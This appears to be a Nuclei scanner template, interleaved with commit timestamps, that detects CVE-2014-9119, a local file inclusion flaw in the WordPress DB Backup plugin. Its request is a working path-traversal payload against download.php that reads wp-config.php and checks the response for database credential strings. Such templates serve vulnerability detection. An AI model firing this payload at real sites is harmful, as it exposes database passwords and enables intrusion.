2022-08-06 16:54:58 +00:00
id : CVE-2014-9119
2022-02-12 17:04:53 +00:00
info :
2022-08-05 13:57:51 +00:00
name : WordPress DB Backup <=4.5 - Local File Inclusion
2022-02-12 17:04:53 +00:00
author : dhiyaneshDK
severity : high
2022-08-10 07:39:57 +00:00
description : |
WordPress Plugin DB Backup 4.5 and possibly prior versions are prone to a local file inclusion vulnerability because they fail to sufficiently sanitize user-supplied input. Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.
2022-02-12 17:04:53 +00:00
reference :
- https://wpscan.com/vulnerability/d3f1e51e-5f44-4a15-97bc-5eefc3e77536
- https://www.exploit-db.com/exploits/35378
2022-08-10 07:39:57 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2014-9119
2022-08-25 08:56:24 +00:00
- https://wpvulndb.com/vulnerabilities/7726
2022-08-05 13:57:51 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
2022-08-06 16:54:58 +00:00
cve-id : CVE-2014-9119
2022-08-25 08:56:24 +00:00
cwe-id : CWE-22
2022-08-27 04:41:18 +00:00
tags : lfi,cve,cve2014,wordpress,wp-plugin,wp,backup,wpscan,edb
2022-02-12 17:04:53 +00:00
requests :
- method : GET
path :
- '{{BaseURL}}/wp-content/plugins/db-backup/download.php?file=../../../wp-config.php'
matchers-condition : and
matchers :
- type : word
2022-02-14 21:21:49 +00:00
part : body
2022-02-12 17:04:53 +00:00
words :
- "DB_NAME"
- "DB_PASSWORD"
condition : and
- type : status
status :
- 200
2022-08-05 13:57:51 +00:00
# Enhanced by mp on 2022/08/05
